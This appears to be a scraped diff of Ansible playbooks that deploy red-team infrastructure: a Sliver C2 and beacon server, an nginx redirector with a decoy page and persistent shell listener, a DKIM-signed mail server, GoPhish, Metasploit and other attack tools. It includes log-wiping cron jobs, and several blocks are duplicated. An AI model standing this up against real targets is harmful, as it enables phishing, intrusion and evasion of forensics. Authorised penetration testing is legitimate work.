certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
|
||||||
args:
|
|
||||||
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
|
||||||
when: domain != "example.com"
|
|
||||||
|
|
||||||
- name: Restart NGINX
|
|
||||||
systemd:
|
|
||||||
name: nginx
|
|
||||||
state: restarted
|
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring C2 server
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Set a custom MOTD
|
||||||
|
template:
|
||||||
|
src: "motd.j2"
|
||||||
|
dest: /etc/motd
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Install base utilities and tools via apt
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- git
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- unzip
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- tmux
|
||||||
|
- pipx
|
||||||
|
- nmap
|
||||||
|
- tcpdump
|
||||||
|
- hydra
|
||||||
|
- john
|
||||||
|
- hashcat
|
||||||
|
- sqlmap
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- enum4linux
|
||||||
|
- dnsenum
|
||||||
|
- seclists
|
||||||
|
- responder
|
||||||
|
- golang
|
||||||
|
- proxychains
|
||||||
|
- tor
|
||||||
|
- crackmapexec
|
||||||
|
- jq
|
||||||
|
- unzip
|
||||||
|
- postfix
|
||||||
|
- certbot
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- dovecot-pop3d
|
||||||
|
- dovecot-sieve
|
||||||
|
- dovecot-managesieved
|
||||||
|
- yq
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Copy operational scripts
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "/opt/c2/{{ item }}"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- clean-logs.sh
|
||||||
|
- secure-exit.sh
|
||||||
|
- serve-beacons.sh
|
||||||
|
|
||||||
|
- name: Create operational directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /opt/c2
|
||||||
|
- /opt/beacons
|
||||||
|
- /opt/payloads
|
||||||
|
|
||||||
|
- name: Create Sliver service file
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Sliver C2 Server
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
WorkingDirectory=/root/.sliver
|
||||||
|
ExecStart=/usr/local/bin/sliver-server daemon
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
|
||||||
|
# Security measures
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectHome=false
|
||||||
|
NoNewPrivileges=true
|
||||||
|
|
||||||
|
# Hide process information
|
||||||
|
StandardOutput=null
|
||||||
|
StandardError=null
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
dest: /etc/systemd/system/sliver.service
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||||
|
when: zero_logs | bool
|
||||||
|
|
||||||
|
- name: Install Let's Encrypt certificate if domain specified
|
||||||
|
shell: |
|
||||||
|
certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||||
|
args:
|
||||||
|
creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
|
||||||
|
when: domain != "example.com"
|
||||||
|
|
||||||
|
- name: Configure and start beacon server
|
||||||
|
shell: |
|
||||||
|
sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
|
||||||
|
chmod +x /opt/c2/serve-beacons.sh
|
||||||
|
# Check if beacon server is already running
|
||||||
|
if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
|
||||||
|
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
||||||
|
fi
|
||||||
@@ -0,0 +1,170 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring mail server
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Configure Postfix main.cf
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/postfix/main.cf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
||||||
|
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
||||||
|
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
||||||
|
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
||||||
|
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
||||||
|
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
||||||
|
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
||||||
|
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
||||||
|
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
||||||
|
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
||||||
|
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
||||||
|
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
||||||
|
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
||||||
|
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
||||||
|
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
||||||
|
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
||||||
|
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
||||||
|
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
|
||||||
|
- name: Configure OpenDKIM
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/opendkim.conf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
||||||
|
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
||||||
|
- { regexp: '^Selector', line: "Selector mail" }
|
||||||
|
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
- { regexp: '^Syslog', line: "Syslog yes" }
|
||||||
|
- { regexp: '^UMask', line: "UMask 002" }
|
||||||
|
- { regexp: '^Mode', line: "Mode sv" }
|
||||||
|
|
||||||
|
- name: Create DKIM directory
|
||||||
|
file:
|
||||||
|
path: /etc/opendkim/keys/{{ domain }}
|
||||||
|
state: directory
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0700
|
||||||
|
|
||||||
|
- name: Generate DKIM keys
|
||||||
|
command: >
|
||||||
|
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
||||||
|
args:
|
||||||
|
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||||
|
|
||||||
|
- name: Set permissions for DKIM keys
|
||||||
|
file:
|
||||||
|
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0600
|
||||||
|
|
||||||
|
- name: Configure OpenDKIM TrustedHosts
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
127.0.0.1
|
||||||
|
::1
|
||||||
|
localhost
|
||||||
|
{{ domain }}
|
||||||
|
dest: /etc/opendkim/TrustedHosts
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0644
|
||||||
|
|
||||||
|
- name: Enable submission port (587) in master.cf
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/postfix/master.cf
|
||||||
|
insertafter: '^#submission'
|
||||||
|
block: |
|
||||||
|
submission inet n - y - - smtpd
|
||||||
|
-o syslog_name=postfix/submission
|
||||||
|
-o smtpd_tls_security_level=encrypt
|
||||||
|
-o smtpd_sasl_auth_enable=yes
|
||||||
|
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
||||||
|
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||||
|
|
||||||
|
- name: Configure Dovecot for Postfix SASL
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-master.conf
|
||||||
|
insertafter: '^service auth {'
|
||||||
|
block: |
|
||||||
|
# Postfix smtp-auth
|
||||||
|
unix_listener /var/spool/postfix/private/auth {
|
||||||
|
mode = 0660
|
||||||
|
user = postfix
|
||||||
|
group = postfix
|
||||||
|
}
|
||||||
|
|
||||||
|
- name: Set Dovecot auth_mechanisms
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
regexp: '^auth_mechanisms'
|
||||||
|
line: 'auth_mechanisms = plain login'
|
||||||
|
|
||||||
|
- name: Create Dovecot password file for SASL authentication
|
||||||
|
file:
|
||||||
|
path: /etc/dovecot/passwd
|
||||||
|
state: touch
|
||||||
|
mode: '0600'
|
||||||
|
owner: dovecot
|
||||||
|
group: dovecot
|
||||||
|
|
||||||
|
- name: Add SMTP auth user to Dovecot
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/passwd
|
||||||
|
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
||||||
|
|
||||||
|
- name: Disable system auth and use passwd-file
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
regexp: '^!include auth-system.conf.ext'
|
||||||
|
line: '#!include auth-system.conf.ext'
|
||||||
|
|
||||||
|
- name: Add auth-passwdfile configuration
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
insertafter: '^auth_mechanisms ='
|
||||||
|
block: |
|
||||||
|
passdb {
|
||||||
|
driver = passwd-file
|
||||||
|
args = scheme=sha512_crypt /etc/dovecot/passwd
|
||||||
|
}
|
||||||
|
userdb {
|
||||||
|
driver = static
|
||||||
|
args = uid=vmail gid=vmail home=/var/vmail/%u
|
||||||
|
}
|
||||||
|
|
||||||
|
- name: Create vmail group
|
||||||
|
group:
|
||||||
|
name: vmail
|
||||||
|
gid: 5000
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create vmail user
|
||||||
|
user:
|
||||||
|
name: vmail
|
||||||
|
uid: 5000
|
||||||
|
group: vmail
|
||||||
|
create_home: no
|
||||||
|
|
||||||
|
- name: Create vmail directory structure
|
||||||
|
file:
|
||||||
|
path: /var/vmail
|
||||||
|
state: directory
|
||||||
|
owner: vmail
|
||||||
|
group: vmail
|
||||||
|
mode: 0700
|
||||||
|
|
||||||
|
- name: Restart Postfix
|
||||||
|
service:
|
||||||
|
name: postfix
|
||||||
|
state: restarted
|
||||||
|
|
||||||
|
- name: Restart Dovecot
|
||||||
|
service:
|
||||||
|
name: dovecot
|
||||||
|
state: restarted
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring redirector
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Install required packages for redirector
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
- socat
|
||||||
|
- netcat-openbsd
|
||||||
|
- secure-delete
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create directories for operational scripts
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /opt/c2
|
||||||
|
- /opt/shell-handler
|
||||||
|
|
||||||
|
- name: Copy clean-logs.sh script
|
||||||
|
copy:
|
||||||
|
src: "clean-logs.sh"
|
||||||
|
dest: /opt/c2/clean-logs.sh
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Copy shell handler script
|
||||||
|
copy:
|
||||||
|
src: "persistent-listener.sh"
|
||||||
|
dest: /opt/shell-handler/persistent-listener.sh
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Configure shell handler script with C2 IP
|
||||||
|
replace:
|
||||||
|
path: /opt/shell-handler/persistent-listener.sh
|
||||||
|
regexp: 'C2_HOST="127.0.0.1"'
|
||||||
|
replace: 'C2_HOST="{{ c2_ip }}"'
|
||||||
|
|
||||||
|
- name: Configure shell handler script with listening port
|
||||||
|
replace:
|
||||||
|
path: /opt/shell-handler/persistent-listener.sh
|
||||||
|
regexp: 'LISTEN_PORT=4444'
|
||||||
|
replace: 'LISTEN_PORT={{ shell_handler_port }}'
|
||||||
|
|
||||||
|
- name: Create shell handler service
|
||||||
|
template:
|
||||||
|
src: "shell-handler.service.j2"
|
||||||
|
dest: /etc/systemd/system/shell-handler.service
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Configure NGINX for zero-logging if enabled
|
||||||
|
template:
|
||||||
|
src: "nginx.conf.j2"
|
||||||
|
dest: /etc/nginx/nginx.conf
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
when: zero_logs | bool
|
||||||
|
|
||||||
|
- name: Configure NGINX for C2 redirection
|
||||||
|
template:
|
||||||
|
src: "redirector-site.conf.j2"
|
||||||
|
dest: /etc/nginx/sites-available/default
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create legitimate-looking index.html
|
||||||
|
template:
|
||||||
|
src: "redirector-index.html.j2"
|
||||||
|
dest: /var/www/html/index.html
|
||||||
|
mode: '0644'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
|
||||||
|
- name: Start and enable shell handler service
|
||||||
|
systemd:
|
||||||
|
name: shell-handler
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
|
||||||
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||||
|
when: zero_logs | bool
|
||||||
|
|
||||||
|
- name: Install Let's Encrypt certificate if domain specified
|
||||||
|
shell: |
|
||||||
|
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||||
|
args:
|
||||||
|
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
||||||
|
when: domain != "example.com"
|
||||||
|
|
||||||
|
- name: Restart NGINX
|
||||||
|
systemd:
|
||||||
|
name: nginx
|
||||||
|
state: restarted
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
---
|
||||||
|
# Common task for installing offensive security tools
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Create Tools directory
|
||||||
|
file:
|
||||||
|
path: /home/{{ ansible_user }}/Tools
|
||||||
|
state: directory
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Ensure pipx path is configured
|
||||||
|
shell: |
|
||||||
|
pipx ensurepath
|
||||||
|
become: true
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
|
||||||
|
- name: Install tools via pipx
|
||||||
|
shell: |
|
||||||
|
export PATH=$PATH:/root/.local/bin
|
||||||
|
pipx ensurepath
|
||||||
|
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||||
|
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
||||||
|
pipx install impacket
|
||||||
|
become: true
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
|
||||||
|
- name: Download Kerbrute
|
||||||
|
shell: |
|
||||||
|
mkdir -p /home/{{ ansible_user }}/Tools/Kerbrute
|
||||||
|
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
|
||||||
|
chmod +x /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
|
||||||
|
become: true
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
creates: /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
|
||||||
|
|
||||||
|
- name: Clone SharpCollection nightly builds
|
||||||
|
git:
|
||||||
|
repo: https://github.com/Flangvik/SharpCollection.git
|
||||||
|
dest: /home/{{ ansible_user }}/Tools/SharpCollection
|
||||||
|
version: master
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone PEASS-ng
|
||||||
|
git:
|
||||||
|
repo: https://github.com/carlospolop/PEASS-ng.git
|
||||||
|
dest: /home/{{ ansible_user }}/Tools/PEASS-ng
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone MailSniper
|
||||||
|
git:
|
||||||
|
repo: https://github.com/dafthack/MailSniper.git
|
||||||
|
dest: /home/{{ ansible_user }}/Tools/MailSniper
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone Inveigh
|
||||||
|
git:
|
||||||
|
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
||||||
|
dest: /home/{{ ansible_user }}/Tools/Inveigh
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Install Sliver C2 server
|
||||||
|
shell: |
|
||||||
|
curl https://sliver.sh/install | bash
|
||||||
|
systemctl enable sliver
|
||||||
|
systemctl start sliver
|
||||||
|
become: true
|
||||||
|
|
||||||
|
- name: Install Metasploit Framework (Nightly Build)
|
||||||
|
shell: |
|
||||||
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
|
||||||
|
chmod 755 /tmp/msfinstall
|
||||||
|
/tmp/msfinstall
|
||||||
|
rm -f /tmp/msfinstall
|
||||||
|
become: true
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
creates: /usr/bin/msfconsole
|
||||||
|
|
||||||
|
- name: Grab GoPhish
|
||||||
|
shell: |
|
||||||
|
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/{{ ansible_user }}/Tools/gophish.zip
|
||||||
|
unzip /home/{{ ansible_user }}/Tools/gophish.zip -d /home/{{ ansible_user }}/Tools/gophish
|
||||||
|
rm -rf /home/{{ ansible_user }}/Tools/gophish.zip
|
||||||
|
chmod +x /home/{{ ansible_user }}/Tools/gophish/gophish
|
||||||
|
args:
|
||||||
|
creates: /home/{{ ansible_user }}/Tools/gophish/gophish
|
||||||
|
|
||||||
|
- name: Deploy Gophish config.json with custom admin port
|
||||||
|
template:
|
||||||
|
src: gophish-config.j2
|
||||||
|
dest: /home/{{ ansible_user }}/Tools/gophish/config.json
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
mode: '0644'
|
||||||
|
vars:
|
||||||
|
gophish_admin_port: "{{ gophish_admin_port }}"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
|
||||||
|
- name: Set proper ownership for Tools directory
|
||||||
|
file:
|
||||||
|
path: /home/{{ ansible_user }}/Tools
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
recurse: true
|
||||||
|
mode: '0755'
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring C2 server
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Set a custom MOTD
|
||||||
|
template:
|
||||||
|
src: "motd.j2"
|
||||||
|
dest: /etc/motd
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Install base utilities and tools via apt
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- git
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- unzip
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- tmux
|
||||||
|
- pipx
|
||||||
|
- nmap
|
||||||
|
- tcpdump
|
||||||
|
- hydra
|
||||||
|
- john
|
||||||
|
- hashcat
|
||||||
|
- sqlmap
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- enum4linux
|
||||||
|
- dnsenum
|
||||||
|
- seclists
|
||||||
|
- responder
|
||||||
|
- golang
|
||||||
|
- proxychains
|
||||||
|
- tor
|
||||||
|
- crackmapexec
|
||||||
|
- jq
|
||||||
|
- unzip
|
||||||
|
- postfix
|
||||||
|
- certbot
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- dovecot-pop3d
|
||||||
|
- dovecot-sieve
|
||||||
|
- dovecot-managesieved
|
||||||
|
- yq
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Copy operational scripts
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "/opt/c2/{{ item }}"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- clean-logs.sh
|
||||||
|
- secure-exit.sh
|
||||||
|
- serve-beacons.sh
|
||||||
|
|
||||||
|
- name: Create operational directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /opt/c2
|
||||||
|
- /opt/beacons
|
||||||
|
- /opt/payloads
|
||||||
|
|
||||||
|
- name: Create Sliver service file
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Sliver C2 Server
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
WorkingDirectory=/root/.sliver
|
||||||
|
ExecStart=/usr/local/bin/sliver-server daemon
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
|
||||||
|
# Security measures
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectHome=false
|
||||||
|
NoNewPrivileges=true
|
||||||
|
|
||||||
|
# Hide process information
|
||||||
|
StandardOutput=null
|
||||||
|
StandardError=null
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
dest: /etc/systemd/system/sliver.service
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||||
|
when: zero_logs | bool
|
||||||
|
|
||||||
|
- name: Install Let's Encrypt certificate if domain specified
|
||||||
|
shell: |
|
||||||
|
certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||||
|
args:
|
||||||
|
creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
|
||||||
|
when: domain != "example.com"
|
||||||
|
|
||||||
|
- name: Configure and start beacon server
|
||||||
|
shell: |
|
||||||
|
sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
|
||||||
|
chmod +x /opt/c2/serve-beacons.sh
|
||||||
|
# Check if beacon server is already running
|
||||||
|
if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
|
||||||
|
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
||||||
|
fi
|
||||||
Reference in New Issue
Block a user